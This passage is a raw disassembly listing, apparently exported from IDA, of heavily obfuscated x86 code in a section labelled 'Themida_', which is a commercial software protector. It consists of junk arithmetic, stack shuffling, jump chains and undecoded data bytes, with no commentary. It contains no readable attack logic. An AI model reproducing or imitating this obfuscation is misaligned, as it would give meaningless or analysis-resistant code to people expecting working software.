CODE XREF: Themida_:00548E7Ej pop ax add cl, dh push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_54A6E6 ; --------------------------------------------------------------------------- db 68h dd 26E5h, 0E9242C89h, 0FFFF219Fh, 44E95A54h, 8BFFFFEFh dd 0C4832404h, 1A266804h, 3E90000h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552ED7: ; CODE XREF: Themida_:005433ADj push dword ptr [esp] jmp loc_54CA7B ; --------------------------------------------------------------------------- loc_552EDF: ; CODE XREF: Themida_:0054E652j pop ebx jmp loc_54AB64 ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 0BD2EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552EF2: ; CODE XREF: Themida_:00557A93j mov esp, [esp] and eax, ecx pop ecx or eax, eax jnz loc_5572DA push 5B6Ah mov [esp], esi push 3B177004h pop esi shr esi, 7 sub esp, 4 mov [esp], edi mov edi, 1 add esi, 2BA54067h sub esi, edi sub esi, 2BA54067h jmp loc_546769 ; --------------------------------------------------------------------------- loc_552F32: ; CODE XREF: Themida_:00555A34j pop esp jmp loc_54D5E3 ; --------------------------------------------------------------------------- dd 4C481h, 37E90000h, 8BFFFF91h, 0F9E92424h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552F4B: ; CODE XREF: Themida_:0054C976j push ebp mov ebp, esp add ebp, 4 jmp loc_55353D ; --------------------------------------------------------------------------- db 89h, 47h, 24h dd 56D23158h, 0FF6AF1E9h, 815E54FFh, 4C6h, 2BE95200h, 80FFFF0Ch dd 0CA28D2C2h, 59D2EA80h, 0E99DC280h, 0FFFF5AF8h, 316C68h dd 240C8900h, 0FFD9E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_552F91: ; CODE XREF: Themida_:00557243j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_54BE47 ; --------------------------------------------------------------------------- dw 8156h dd 9632434h, 505F5441h, 410963B8h, 0E9C73154h, 0FFFF511Bh ; --------------------------------------------------------------------------- loc_552FB8: ; CODE XREF: Themida_:00552AB2j add esp, 4 sub esp, 4 mov [esp], esi mov esi, 4 sub edi, 536027C5h add edi, esi add edi, 536027C5h pop esi jmp loc_54A1E1 ; --------------------------------------------------------------------------- db 0BEh, 0B2h, 12h dd 0F589303Eh, 56DDF75Eh, 8C0345BEh, 5EF52125h, 2F0C581h dd 0EF0975F3h, 20FDE95Dh, 8B660000h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax pop eax sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push esp pop ebx push edi push eax mov eax, 65F269C9h mov edi, eax pop eax push ebp mov ebp, 3C3C1BF3h xor edi, ebp mov ebp, [esp] add esp, 4 push eax push ebx jmp loc_5570A9 ; --------------------------------------------------------------------------- dd 4E981h, 0C870000h, 34895C24h, 2474FF24h, 48F5E04h, 0C895C24h dd 0FCCEE924h, 8404FFFFh, 1FE9C328h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553063: ; CODE XREF: Themida_:00554506j add ecx, ebx jmp loc_544DF8 ; --------------------------------------------------------------------------- dw 0EF80h dd 6AE780BDh, 8084F780h, 0FC308DEFh, 8BE1205Bh, 21E92404h dd 83FFFFECh, 0C8904ECh, 2563E924h, 0E801FFFFh, 58C7895Dh dd 422BF068h, 0E981596Eh, 75A07969h, 0C181F929h, 75A07969h dd 83243C8Bh, 83E904C4h, 80FFFF4Dh, 0C328E0EBh, 0FFAFBAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5530BD: ; CODE XREF: Themida_:00545D7Bj add esp, 4 add esi, 4 add esi, 4 jmp loc_548A6D ; --------------------------------------------------------------------------- dw 4468h dd 0E900003Bh, 0FFFF78CBh ; --------------------------------------------------------------------------- loc_5530D8: ; CODE XREF: Themida_:00556928j pop ecx push ebx jmp loc_545440 ; --------------------------------------------------------------------------- db 0D1h dd 46BE56E8h, 0E91F5A70h, 0FFFF4454h, 7EE95E54h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5530F3: ; CODE XREF: Themida_:0054C358j mov [esp], ebp jmp loc_55355E ; --------------------------------------------------------------------------- loc_5530FB: ; CODE XREF: Themida_:00556CCDj xor ecx, ebp xchg eax, ecx push 1C98h mov [esp], ecx push 6126h push esp jmp loc_552ACD ; --------------------------------------------------------------------------- loc_553111: ; CODE XREF: Themida_:0054B729j mov [esp], ebp push ebp push esp jmp loc_54D88D ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 0FFE1F3E9h, 7CB4BAFFh, 6C814B2Fh, 594E0824h dd 54294FC1h, 44810824h, 594E0824h, 295A4FC1h, 8104247Ch dd 0B4042444h, 814B2F7Ch, 0E04246Ch, 8B57FC31h, 0C483243Ch dd 24040104h, 52565152h, 0FFD0A9E9h, 0E9C280FFh, 283DC280h dd 3DEA80C2h, 0E9B35350h, 0E95BDC88h, 0FFFFF9BCh, 34FFD121h dd 2105E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55318A: ; CODE XREF: Themida_:00550189j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor edi, [esp] xor [esp], edi jmp loc_54A2E8 ; --------------------------------------------------------------------------- loc_5531A7: ; CODE XREF: Themida_:0054BF08j add eax, esi add eax, 9C570F6h jmp loc_54A44B ; --------------------------------------------------------------------------- loc_5531B3: ; CODE XREF: Themida_:0054AEE4j pop eax add esp, 4 jmp loc_54B51D ; --------------------------------------------------------------------------- loc_5531BF: ; CODE XREF: Themida_:0054BDE7j push dword ptr [esp] mov eax, [esp] jmp loc_54EA84 ; --------------------------------------------------------------------------- dw 34FFh dd 0DFD8E924h, 0F181FFFFh, 64980248h, 0BF10C181h, 0CBE911EDh dd 5FFFFF7Bh, 0FF3210E9h, 596852FFh, 5A310057h, 0FFA1BCE9h dd 243C8BFFh, 4C481h, 53510000h, 0FF2876E9h db 0FFh ; --------------------------------------------------------------------------- loc_553205: ; CODE XREF: Themida_:005455AEj push dword ptr [esp] pop edi push 2904h mov [esp], esi mov esi, esp jmp loc_55090D ; --------------------------------------------------------------------------- dd 53364BFh, 5FFE290Dh, 74FF565Bh, 8F5E0424h, 248B2404h dd 24040824h, 0F4D6E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_553236: ; CODE XREF: Themida_:00554977j add ebx, 1 jmp loc_54420A ; --------------------------------------------------------------------------- db 2Dh, 76h, 69h dd 0F02942F8h, 302FE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55324E: ; CODE XREF: Themida_:005505F9j push edx jmp loc_545CE9 ; --------------------------------------------------------------------------- loc_553254: ; CODE XREF: Themida_:0054D4CFj pop eax sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, 1A6649F6h dec eax dec eax shr eax, 5 add eax, 3E18430Eh add edx, eax pop eax jmp loc_5515CC ; --------------------------------------------------------------------------- dd 4C281h, 0F2E90000h, 0FFFFFF37h, 26E92434h, 5200001Eh dd 0AF7BC7BAh, 0CF2BE908h, 1CF6FFFFh, 61E99C24h db 0F4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5532AB: ; CODE XREF: Themida_:00546485j xchg esi, [esp] pop esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi push ebx mov ebx, 3FD74E52h jmp loc_54C3F7 ; --------------------------------------------------------------------------- loc_5532C9: ; CODE XREF: Themida_:00555052j mov ebp, [esp] push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_547196 ; --------------------------------------------------------------------------- loc_5532DF: ; CODE XREF: Themida_:00544622j mov edx, 2B73301Ah push esi jmp loc_5562FA ; --------------------------------------------------------------------------- loc_5532EA: ; CODE XREF: Themida_:0055083Bj push 6323h mov [esp], edx jmp loc_55344D ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 4055854h, 83000000h, 0DFE904C0h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55330F: ; CODE XREF: Themida_:00549BF1j pop eax mov [edi+eax*4], cl mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_54877E ; --------------------------------------------------------------------------- db 89h dd 405E0h, 4050000h, 0E9000000h, 0FFFFDF41h, 0E904EC83h dd 3C12h, 0E2E95A54h, 1FFFF01h, 0D9015AD1h, 47D0E981h dd 0BE567396h, 2FF76857h, 8DE9D6F7h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55335F: ; CODE XREF: Themida_:0055190Fj mov eax, [esp] add esp, 4 jmp loc_552DCA ; --------------------------------------------------------------------------- dw 0EFC1h dd 6A61E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553372: ; CODE XREF: Themida_:005456D9j mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_545130 ; --------------------------------------------------------------------------- loc_553382: ; CODE XREF: Themida_:0054F2F2j push edi push 90780227h mov edi, [esp] add esp, 4 add ecx, edi pop edi push esi mov esi, 634C2311h jmp loc_550A46 ; --------------------------------------------------------------------------- dd 31242C33h, 874D242Ch, 0C158242Ch, 162D03E8h, 2D027E65h dd 0AA1EB52h, 1F99BF57h, 0E7810844h, 4AE079E1h, 5EF0C781h dd 27E907CBh, 81FFFF28h, 23748EDh, 2434FF1Bh, 0E3895358h dd 4C381h, 0C3830000h, 241C8704h, 242C335Ch, 33242C31h dd 665C242Ch, 9C2404D3h, 0FEF313E9h, 7EFD2DFFh, 9EE937DAh db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553403: ; CODE XREF: Themida_:0054530Cj xchg ecx, [esp] jmp loc_54E837 ; --------------------------------------------------------------------------- loc_55340B: ; CODE XREF: Themida_:00548EEAj mov [esp], esp add dword ptr [esp], 4 jmp loc_5440C1 ; --------------------------------------------------------------------------- db 5Dh dd 0E924048Bh, 0FFFF64B8h ; --------------------------------------------------------------------------- loc_553420: ; CODE XREF: Themida_:005535DEj mov [esp], ebx jmp loc_556098 ; --------------------------------------------------------------------------- loc_553428: ; CODE XREF: Themida_:005440BCj add esp, 4 xor esi, 4B98728Ch sub esi, 0FFFFFFFFh jmp loc_551EE7 ; --------------------------------------------------------------------------- loc_55343C: ; CODE XREF: Themida_:0054CA5Aj push ebp push esp jmp loc_5434B5 ; --------------------------------------------------------------------------- db 2Dh dd 4, 0FF8493E9h db 0FFh ; --------------------------------------------------------------------------- loc_55344D: ; CODE XREF: Themida_:005532F2j push ecx push 70661CDEh pop ecx push eax mov eax, 8F99E326h jmp loc_555883 ; --------------------------------------------------------------------------- db 41h dd 0FFDE72E9h, 0CEBF57FFh, 0E9019533h, 1531h ; --------------------------------------------------------------------------- loc_553470: ; CODE XREF: Themida_:0054FC80j dec edx and edx, 66046A06h dec edx not edx sub edx, 99003C6Fh sub ebp, edx pop edx pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5535CA ; --------------------------------------------------------------------------- dw 6850h dd 7764039Eh, 0E1BB5358h, 8143EA24h, 0B77587F3h, 0F8D5E975h dd 0EC81FFFFh, 4, 56243C89h, 0FFE84DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5534B9: ; CODE XREF: Themida_:0054AA62j push dword ptr [esp+4] pop edx jmp loc_547377 ; --------------------------------------------------------------------------- loc_5534C3: ; CODE XREF: Themida_:0054A8D0j push 2F71h mov [esp], edi sub esp, 4 jmp loc_5489F5 ; --------------------------------------------------------------------------- dw 1487h dd 24895C24h, 6AFB6824h, 2C890000h, 4BD24h, 6C010000h dd 0FF5D0424h, 1C8B2434h, 4C48124h, 81000000h, 4C4h, 4C38100h dd 0E9000000h, 0FFFFFCDDh, 0CFE9C688h, 5CFFFF50h, 0FFBAA6E9h dd 7BC8BBFFh, 8E93887h, 8300001Ah, 0E9042404h, 0FFFFB355h dd 2414F756h, 0FFED1BE9h db 0FFh ; --------------------------------------------------------------------------- loc_553535: ; CODE XREF: Themida_:00545C96j xor edx, [esp] jmp loc_54B447 ; --------------------------------------------------------------------------- loc_55353D: ; CODE XREF: Themida_:00552F54j add ebp, 4 xchg ebp, [esp] pop esp add esi, 204535F1h shl esi, 7 inc esi sub esi, 0A25AE77Dh add ebx, esi jmp loc_544C41 ; --------------------------------------------------------------------------- loc_55355E: ; CODE XREF: Themida_:005530F6j mov ebp, esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi jmp loc_54C939 ; --------------------------------------------------------------------------- db 81h dd 0D01F8F3h, 0FC8AE96Fh, 55ACFFFEh, 1D71E9h, 0E9D6F700h dd 1A17h, 0D63E54B8h, 5AD001B5h, 92BDBF57h, 0F801D299h dd 0E9243C8Bh, 0FFFFD456h, 0C466F2Dh, 0E9E8D148h, 0FFFF45FEh dd 0E904EC83h, 0FFFFE594h, 0C780CF28h, 25E97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5535CA: ; CODE XREF: Themida_:0055348Dj mov esp, [esp] jmp loc_545D63 ; --------------------------------------------------------------------------- loc_5535D2: ; CODE XREF: Themida_:00550E6Cj sub ecx, 0A8EAF090h add ebp, ecx pop ecx sub esp, 4 jmp loc_553420 ; --------------------------------------------------------------------------- loc_5535E3: ; CODE XREF: Themida_:005464E1j push esi push esp jmp loc_550BA5 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC83240Ch, 24348904h, 0EC815E54h, 4, 0BB241C89h, 4 dd 835BDE01h, 343304EEh, 24343124h, 5C243433h, 83243C89h dd 248904ECh, 583B6824h, 4890000h, 4B824h, 9EE90000h, 59FFFF91h dd 0FFD857E9h, 0BCF581FFh, 553CFD79h, 4930E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553642: ; CODE XREF: Themida_:00551AADj and ecx, edi push dword ptr [esp] pop edi push ebp mov ebp, esp push 193h mov [esp], edx mov edx, 4 sub ebp, 3A27458h jmp loc_553B75 ; --------------------------------------------------------------------------- db 50h dd 0C200DDB0h, 5AD50058h, 0ED80DDF6h, 0A98E951h, 0E9580000h dd 0FFFFE8D8h ; --------------------------------------------------------------------------- loc_55367C: ; CODE XREF: Themida_:00546706j xor edi, 7FBF3FFBh add ebx, edi jmp loc_545510 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0FE49E95Ch, 0DEF7FFFEh, 5879E681h, 0E94E4391h, 158Eh dd 0E9241489h, 0FFFF234Bh, 241CF766h, 0F05AE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5536B2: ; CODE XREF: Themida_:00542B55j xchg edi, [esp] jmp loc_54559D ; --------------------------------------------------------------------------- dw 8A68h dd 0E96E4C17h, 0FFFFE875h ; --------------------------------------------------------------------------- loc_5536C4: ; CODE XREF: Themida_:00547176j add edi, ebp sub edi, 2BBA2156h pop ebp push ebx push ebp mov ebp, 34A32125h jmp loc_54CFFE ; --------------------------------------------------------------------------- db 89h, 0D6h, 8Bh dd 0C4832414h, 90CE8104h, 3159B62Bh, 7E23E9D6h, 0D089FFFFh dd 58C1215Ah, 0F0F4C181h, 0BD550924h, 2A2864EDh, 295DE829h dd 0B65EE9C8h, 815BFFFFh, 4ECh, 0E46BE900h, 0E581FFFFh dd 70DD148Bh, 2D55ED81h, 0F581383Fh, 7CFBD60h, 2C8BEB01h dd 4C48124h, 0E9000000h, 0FFFF9F69h ; --------------------------------------------------------------------------- loc_553738: ; CODE XREF: Themida_:0054506Ej sub ebx, 1B45BA5h shl ebx, 5 inc ebx push edi push esp pop edi add edi, 4 sub edi, 4 jmp loc_555A31 ; --------------------------------------------------------------------------- dw 5052h dd 0FFAEBAE9h, 0B8BE56FFh, 1B6D11Fh, 0D0095EF2h, 0F971E95Ah dd 0E089FFFFh, 0FFA389E9h, 0E98741FFh, 0E931D5F7h, 0E931CD31h dd 0FF4BA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_553785: ; CODE XREF: Themida_:0055790Bj mov esi, 0 sub esi, 59B24634h sub esi, ebx add esi, 59B24634h push 9FFh mov [esp], esi add dword ptr [esp], 3E56375Ch mov ebx, [esp] add esp, 4 sub ebx, 3E56375Ch push dword ptr [esp] pop esi push esi push esp pop esi jmp loc_546332 ; --------------------------------------------------------------------------- loc_5537BF: ; CODE XREF: Themida_:00556E92j pop ebp pop eax jmp loc_54A435 ; --------------------------------------------------------------------------- dw 0FB01h dd 241C335Fh, 33241C31h, 0E95C241Ch, 2387h, 2D1BB850h dd 44012C9Dh, 0C9E90824h, 81FFFF63h, 0EC3A09EBh, 81D3015Ah dd 0EC3A09C3h, 0E28CE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5537FA: ; CODE XREF: Themida_:00543DF7j push dword ptr [esp] jmp loc_5470E6 ; --------------------------------------------------------------------------- loc_553802: ; CODE XREF: Themida_:00545329j pop esi neg eax push ebp push esi mov esi, 42C64077h jmp loc_54C8FB ; --------------------------------------------------------------------------- db 57h, 0E9h, 8Dh dd 81FFFF0Fh, 575DE9C7h, 31D2E904h, 0E9430000h, 0FFFF3671h dd 5C240487h, 24148966h, 1B25251h, 8701E950h, 0BD55FFFFh dd 23424F28h, 843BE950h, 148BFFFFh, 4C48324h, 1C8BDA01h dd 0E6895624h, 4C681h, 0C6830000h, 0ADDBE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553862: ; CODE XREF: Themida_:0054E83Aj sub esp, 4 mov [esp], eax push 2D9Ah jmp loc_54395B ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 9BFBB53h, 41E91CCFh, 0FFFFFFBFh, 875F2404h, 81D6F7FEh dd 4ECh, 22E6E900h, 0F2810000h, 0BF0713AFh, 495AD121h dd 812C981h, 0E9564C8Dh, 0FFFF9D11h ; --------------------------------------------------------------------------- loc_5538AC: ; CODE XREF: Themida_:0054F7AAj pop edi add esi, 4471454Dh sub esi, 5D173AF0h add esi, edi jmp loc_550E02 ; --------------------------------------------------------------------------- dd 0FD281FB7h, 3AF7E95Bh, 48BFFFFh, 0E3895324h, 4C381h dd 0C3830000h, 241C8704h, 0D7F7665Ch, 0BE665666h, 29664769h dd 665E66F7h, 5931CF81h, 5EFC166h, 45B86650h, 0E8C1664Dh dd 7225E902h, 77FFFFFFh, 58669D1Ch, 24041966h, 0EDFAE99Ch dd 0E95BFFFEh, 0FFFEFBDEh ; --------------------------------------------------------------------------- loc_553918: ; CODE XREF: Themida_:005544A5j sub eax, 4 jmp loc_55138C ; --------------------------------------------------------------------------- dw 0C480h dd 14C1E914h, 489FFFFh, 3A70E924h, 8951FFFFh, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 241C895Ch, 5A09E8BBh, 0E9DE015Ah dd 0FFFF1017h ; --------------------------------------------------------------------------- loc_553954: ; CODE XREF: Themida_:00553DDEj mov esi, 421A7AF5h mov edx, esi pop esi mov ebp, edx pop edx jmp loc_543183 ; --------------------------------------------------------------------------- dd 15DEF89h, 6EE95EF7h, 5000005h, 46542FA0h, 0A02DF801h dd 5F46542Fh, 0E904E883h, 0FFFFA06Ah ; --------------------------------------------------------------------------- loc_553984: ; CODE XREF: Themida_:00555781j push edx push eax mov al, 13h jmp loc_5489D5 ; --------------------------------------------------------------------------- loc_55398D: ; CODE XREF: Themida_:005440C7j add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_550CB7 ; --------------------------------------------------------------------------- db 0BBh, 44h, 1Ah dd 0C3814A1Ah, 0E96A6467h, 575BDA29h, 0FFBFD9E9h, 181105FFh dd 595E20E2h, 1B1659BBh, 0FEEB8162h, 294BA436h, 1191E9C3h dd 0DBF0000h, 81246568h, 0C5533FF7h, 687FE903h, 515AFFFFh dd 0B1A9B353h, 0E9D928E3h, 0FFFF8384h ; --------------------------------------------------------------------------- loc_5539EC: ; CODE XREF: Themida_:00552E99j pop ebx push ebx mov ebx, 47781451h and ebx, 2CC74CDFh add ebx, 7DC362C4h jmp loc_547D3F ; --------------------------------------------------------------------------- aPss db 'Pé™"',0 align 2 dw 0C889h dd 2E8C159h, 3597E957h, 248BFFFFh, 2434FF24h, 582434FFh dd 0FEF8B7E9h, 5FF929FFh, 8904EC83h, 15BE2434h, 817BAE5Ch dd 0D954BFEEh, 2C52E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553A3E: ; CODE XREF: Themida_:005559ABj pop si push edx jmp loc_553D2F ; --------------------------------------------------------------------------- loc_553A46: ; CODE XREF: Themida_:005560ADj xor edx, [esp] jmp loc_546A53 ; --------------------------------------------------------------------------- loc_553A4E: ; CODE XREF: Themida_:005428A8j add edx, 0AA1AB16Dh jmp loc_543BBA ; --------------------------------------------------------------------------- loc_553A59: ; CODE XREF: Themida_:0054C2D7j add esp, 4 add edx, 4 jmp loc_54E419 ; --------------------------------------------------------------------------- dd 0C581F529h, 5D2C13F6h, 50FD015Eh, 7E1D2968h, 0C5015871h dd 0FFB3ACE9h, 0D8BA52FFh, 89E5A5C7h, 0D3015AD3h, 5624148Bh dd 0FF4160E9h, 42DFFh, 0FF500000h, 8B042474h, 54532404h dd 4C3815Bh, 83000000h, 0E95304C3h, 337Fh ; --------------------------------------------------------------------------- loc_553AB0: ; CODE XREF: Themida_:00552862j mov ecx, 2 add ebp, 773306B8h add ebp, ecx sub ebp, 773306B8h push dword ptr [esp] pop ecx jmp loc_54F95E ; --------------------------------------------------------------------------- dd 0E4C01BB4h, 80D4F607h, 0E53066C4h, 0A0ED8058h, 88E88850h dd 0E95958C6h, 0FFFFEE6Dh, 0D550F2BDh, 0E172E93Dh, 0C181FFFFh dd 4, 1E9168h, 242C8900h, 4BDh, 8BE92900h, 0C483242Ch dd 5199E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553B12: ; CODE XREF: Themida_:005490DEj mov ecx, edx pop edx add ebx, ecx pop ecx push edx mov edx, 1B2F2365h sub edx, 30B36068h add edx, 2E351CA5h jmp loc_5552A4 ; --------------------------------------------------------------------------- db 43h dd 77C8C381h, 0D1E98B99h, 53FFFF82h, 5B5AAFBBh, 8BBA523Fh dd 8167B477h, 226604EAh, 63F2812Eh, 2961191Dh, 0E3815AD3h dd 79F01B2h, 814BD3F7h, 9001B0C3h, 51FB0106h, 74A868h dd 24348900h, 0FF65CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_553B75: ; CODE XREF: Themida_:0055365Ej add ebp, edx jmp loc_543F94 ; --------------------------------------------------------------------------- dd 6442E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553B82: ; CODE XREF: Themida_:00543247j mov esp, [esp] mov [esp], ebx push 29B77D27h pop ebx jmp loc_55702A ; --------------------------------------------------------------------------- loc_553B93: ; CODE XREF: Themida_:00544966j add ecx, 3E191930h jmp loc_5452F5 ; --------------------------------------------------------------------------- loc_553B9E: ; CODE XREF: Themida_:00551232j pop esp mov [esp], esi mov esi, esp push ecx mov ecx, 261F5BEAh add ecx, 1 not ecx inc ecx add ecx, 1 push ebx mov ebx, 37C2059Ah shl ebx, 1 or ebx, 73880F99h neg ebx not ebx push ecx mov ecx, 78A721C2h jmp loc_54AB4D ; --------------------------------------------------------------------------- dd 248CC381h, 30E9575Ch, 89FFFF9Fh, 0D8FFE9E2h, 0DE01FFFFh dd 0F62EE957h, 0D6F7FFFFh, 0FF9753E9h, 2CE134FFh, 5189040Ah dd 0E9537DB5h, 0FFFFFCC0h, 0C00309BDh, 74BFE901h, 0B850FFFFh dd 4, 2E9C301h, 5CFFFF6Fh, 54241C89h, 4BA525Bh, 1000000h dd 0C3815AD3h, 4, 31241C33h, 1C33241Ch, 4015C24h, 0CDE99C24h dd 89FFFEEAh, 0F7295BDEh, 35EF815Eh, 8165DB7Ah, 0FF5A45C7h dd 0E9C7011Ch, 0FFFF18D4h, 8E28EA81h, 0D1290EB8h, 0FDA4E95Ah dd 4BDFFFFh, 0E9000000h, 3577h, 677EC381h, 0C30120B7h dd 0FFB2DBE9h, 2434FFFFh, 7E68525Ah, 89000067h, 0EC812434h dd 4, 0E9242489h, 0FFFF8A6Eh ; --------------------------------------------------------------------------- loc_553C98: ; CODE XREF: Themida_:0054E9A2j pop ebp add esp, 4 jmp loc_54C26C ; --------------------------------------------------------------------------- db 0B7h, 47h, 0FEh dd 8C6FE9CFh, 8CBBFFFFh, 0E9046922h, 14Bh ; --------------------------------------------------------------------------- loc_553CB4: ; CODE XREF: Themida_:00550947j pop edx add esp, 4 push ebp mov ebp, 4 add edx, ebp pop ebp sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 2 add edx, 34D308D5h sub edx, ecx sub edx, 34D308D5h mov ecx, [esp] push 5004h mov [esp], edx mov edx, esp sub esp, 4 mov [esp], ebx mov ebx, 4 add edx, ebx jmp loc_54C463 ; --------------------------------------------------------------------------- loc_553D0E: ; CODE XREF: Themida_:00549289j pop eax pop edx mov ch, bl pop ebx pop eax not ch push ax mov ah, 5Ch xor ch, ah pop ax push 609h mov [esp], edx mov dl, 18h xor ch, dl jmp loc_549FDA ; --------------------------------------------------------------------------- loc_553D2F: ; CODE XREF: Themida_:00553A41j mov dx, 372Bh sub dx, 470h add si, dx jmp loc_546FDE ; --------------------------------------------------------------------------- dd 4C281h, 14870000h, 48F5C24h, 0D3665C24h, 0E99C242Ch dd 0FFFEE9B4h, 2414875Dh, 0C8AF0F5Ch, 0A5E99C51h, 5BFFFEE9h dd 8104E3C1h, 0E8065FC3h, 5C3811Dh, 15F5F9Dh, 0BB535BDEh dd 5E9A06D4h, 8303EBC1h, 5557FFC3h, 0F123A2BDh, 4AC58137h dd 8143F413h, 0E537DFC5h, 3534E94Ch, 0C581FFFFh, 4, 4E2268h dd 241C8900h, 8904EC83h, 91BA2414h, 0BB1F8755h, 0E078AA73h dd 3FB1C381h, 0EB81245Ch, 0C2360BBh, 4770BE56h, 4EE961ABh dd 66FFFFB6h, 0E924048Bh, 0FFFF63F0h ; --------------------------------------------------------------------------- loc_553DDC: ; CODE XREF: Themida_:0054C0E7j push edx push esi jmp loc_553954 ; --------------------------------------------------------------------------- db 5Eh dd 4C681h, 0EE810000h, 4, 31243433h, 34332434h, 0CDE95C24h dd 0F7FFFF40h, 0E5BE56DBh, 815D9052h, 2B92AFF6h, 5EF329B0h dd 1C8BD989h, 4C48124h, 9000000h, 240C8BCBh, 0E9E28952h dd 0FFFFF45Ch, 2404895Ch, 4116852h, 575A6C8Dh, 66FBE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553E3A: ; CODE XREF: Themida_:005462EBj mov esi, esp push ebp jmp loc_54D73D ; --------------------------------------------------------------------------- loc_553E42: ; CODE XREF: Themida_:00543A80j add edi, esi push eax jmp loc_54B749 ; --------------------------------------------------------------------------- dw 0E6C1h dd 7E6C106h, 0FF1463E9h, 0FBF681FFh, 5579533Eh, 0FBE9F589h db 12h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553E63: ; CODE XREF: Themida_:0054B7E5j xor ecx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop ecx push eax jmp loc_55196D ; --------------------------------------------------------------------------- dw 1C89h dd 565B5424h, 5A652BBEh, 1C6815Dh, 0E9000000h, 0FFFFE02Ah dd 8104C483h, 23748C5h, 0E9C5011Bh, 0FFFFF52Fh ; --------------------------------------------------------------------------- loc_553E9C: ; CODE XREF: Themida_:00549B80j sub ebx, 43DD1BD6h add ebx, 3C3B6246h jmp loc_54A2AF ; --------------------------------------------------------------------------- db 31h, 0F0h, 31h dd 243431C6h, 31243433h, 34FF2434h, 2434FF24h, 4C4835Eh dd 0E9E28952h, 0FFFFB024h ; --------------------------------------------------------------------------- loc_553ECC: ; CODE XREF: Themida_:0054F989j pop ecx pop edx jmp loc_54CCE0 ; --------------------------------------------------------------------------- db 29h dd 575B5EF5h, 0FF950BE9h, 0E9FB29FFh, 3BE5h, 5E2434FFh dd 4EC81h, 4890000h, 62A8E924h, 0D931FFFFh, 0CD89555Bh dd 8B5DEB89h, 0EC83240Ch, 24048904h, 405E089h, 0E9000000h dd 0FFFF8BABh, 0CDC8EA81h, 0D3010D87h, 1C5F095Ah, 0FF5ADDE9h dd 0ED8145FFh, 0A7580D1Bh, 875DEB89h, 0F7FA87D3h, 5BD0E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553F3A: ; CODE XREF: Themida_:00556137j pop dword ptr [esp] jmp loc_544E25 ; --------------------------------------------------------------------------- loc_553F42: ; CODE XREF: Themida_:00555AA3j mov esi, 124A42E5h and esi, 1DE125C8h push ecx jmp loc_54F2CE ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 1570h ; --------------------------------------------------------------------------- loc_553F5C: ; CODE XREF: Themida_:0054E28Bj mov edi, [esp] add esp, 4 push ebp mov ebp, 41543CC5h not ebp jmp loc_551574 ; --------------------------------------------------------------------------- loc_553F72: ; CODE XREF: Themida_:0055753Ej add esp, 4 pop edi add eax, ebx push dword ptr [eax] jmp loc_549127 ; --------------------------------------------------------------------------- db 81h dd 7EB1242Ch, 505A28E9h, 0FFBAFFE9h, 243487FFh, 6824248Bh dd 1235h, 13DAE9h, 242C8B00h, 4C481h, 4870000h, 24248B24h dd 0FF2434FFh, 0E9592434h, 0FFFFA498h, 4EC8153h, 54000000h dd 8124048Fh, 42404h, 815B0000h, 4C3h, 4EC8300h, 50240C89h dd 4B951h, 81510000h, 6C342404h, 2D5873A1h, 73A16C34h dd 81240C8Bh, 4C4h, 0C2895200h, 585AD189h, 5F74C381h, 